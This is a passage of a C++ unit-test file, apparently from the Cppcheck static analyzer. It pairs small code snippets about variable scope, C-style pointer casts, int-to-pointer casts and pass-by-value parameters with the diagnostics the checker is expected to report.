ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int 